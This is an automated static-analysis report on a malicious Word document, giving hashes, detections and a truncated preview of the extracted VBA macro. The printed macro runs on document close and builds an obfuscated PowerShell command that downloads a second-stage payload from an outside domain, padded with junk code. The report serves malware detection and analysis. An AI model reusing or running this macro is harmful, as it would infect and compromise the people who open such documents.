Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f98eaed3b150ed16…

MALICIOUS

Office (OLE)

154.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 4aa1dbd997e9b0ec59ad04e7817120ed SHA-1: b48798fe60a51179d3695914a8c0a4fe48701be1 SHA-256: f98eaed3b150ed16856aca8039569caae8668d56c3e0ae2c1039c2cff9a49ec8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose function, indicating it is designed to execute automatically when the document is opened. The macro constructs and executes a PowerShell command, likely to download and run a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52956 bytes
SHA-256: 8574c2a2c018e130b4b175d97a034cbe6b5db49318dc558ae60a89fe17354b41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ziceFupirYSyVaLeLAqABILnASODifikeHFEvOWUji = 0
Sub AutoClose()
On Error Resume Next
sEvOjsOhIZYRuwZiAVyWOjUQeWI = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^p^A^H^c^A^b^w^B^x^A^G^k^A^d^w^B^1^A^H^E^A^b^w^B^l^A^H^U^A^b^w^B^3^A^G^U^A^a^Q^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G"
Dim WxiiigaJYbobERoMirImaqeQyRuCYdODIw(4)

If 12 = 12 + (5 * 0) Then
WxiiigaJYbobERoMirImaqeQyRuCYdODIw(0) = CLng(6672)
End If
WxiiigaJYbobERoMirImaqeQyRuCYdODIw(1) = Sqr(5)
WxiiigaJYbobERoMirImaqeQyRuCYdODIw(2) = Month(66726672)
WxiiigaJYbobERoMirImaqeQyRuCYdODIw(3) = Fix(6672.5)
Dim TocyZEdEkmoJaWONIKYKuKYfECOFUiu(4)

If 11 = 11 + (10 * 0) Then
TocyZEdEkmoJaWONIKYKuKYfECOFUiu(0) = CLng(721)
End If
TocyZEdEkmoJaWONIKYKuKYfECOFUiu(1) = Sqr(10)
TocyZEdEkmoJaWONIKYKuKYfECOFUiu(2) = Month(721721)
TocyZEdEkmoJaWONIKYKuKYfECOFUiu(3) = Fix(721.1)
Dim LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(4)
Dim iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(4)

If 12 = 12 + (3 * 0) Then
iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(0) = CLng(6191)
End If
iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(1) = Sqr(3)
iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(2) = Month(61916191)
iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(3) = Fix(6191.3)

Dim NYxApVUxODYFoKepAKWEJoXVopexVI(4)

If 10 = 10 + (9 * 0) Then
NYxApVUxODYFoKepAKWEJoXVopexVI(0) = CLng(1835)
End If
NYxApVUxODYFoKepAKWEJoXVopexVI(1) = Sqr(9)
NYxApVUxODYFoKepAKWEJoXVopexVI(2) = Month(18351835)
NYxApVUxODYFoKepAKWEJoXVopexVI(3) = Fix(1835.9)
Dim gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(4)

If 13 = 13 + (3 * 0) Then
gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(0) = CLng(7314)
End If
gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(1) = Sqr(3)
gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(2) = Month(73147314)
gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(3) = Fix(7314.3)
If 10 = 10 + (6 * 0) Then
LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(0) = CLng(8575)
Dim vEnYzezyDyZEjeEVORoMUgOmOCI(4)

If 11 = 11 + (6 * 0) Then
vEnYzezyDyZEjeEVORoMUgOmOCI(0) = CLng(7090)
End If
vEnYzezyDyZEjeEVORoMUgOmOCI(1) = Sqr(6)
vEnYzezyDyZEjeEVORoMUgOmOCI(2) = Month(70907090)
vEnYzezyDyZEjeEVORoMUgOmOCI(3) = Fix(7090.6)
Dim gypACIbuSahWiceVALYKIWEd(4)

If 12 = 12 + (10 * 0) Then
gypACIbuSahWiceVALYKIWEd(0) = CLng(7480)
End If
gypACIbuSahWiceVALYKIWEd(1) = Sqr(10)
gypACIbuSahWiceVALYKIWEd(2) = Month(74807480)
gypACIbuSahWiceVALYKIWEd(3) = Fix(7480.1)
End If
LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(1) = Sqr(6)
Dim zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(4)

If 10 = 10 + (10 * 0) Then
zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(0) = CLng(7938)
End If
zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(1) = Sqr(10)
zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(2) = Month(79387938)
zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(3) = Fix(7938.1)
Dim qYfakyaxevokaDUsTuDuXakuHeVoaU(4)

If 13 = 13 + (9 * 0) Then
qYfakyaxevokaDUsTuDuXakuHeVoaU(0) = CLng(9511)
End If
qYfakyaxevokaDUsTuDuXakuHeVoaU(1) = Sqr(9)
qYfakyaxevokaDUsTuDuXakuHeVoaU(2) = Month(95119511)
qYfakyaxevokaDUsTuDuXakuHeVoaU(3) = Fix(9511.9)
LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(2) = Month(85758575)
LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(3) = Fix(8575.6)
Dim gaXHaZekOUqfuCevFybYfeXo(4)

If 11 = 11 + (4 * 0) Then
gaXHaZekOUqfuCevFybYfeXo(0
... (truncated)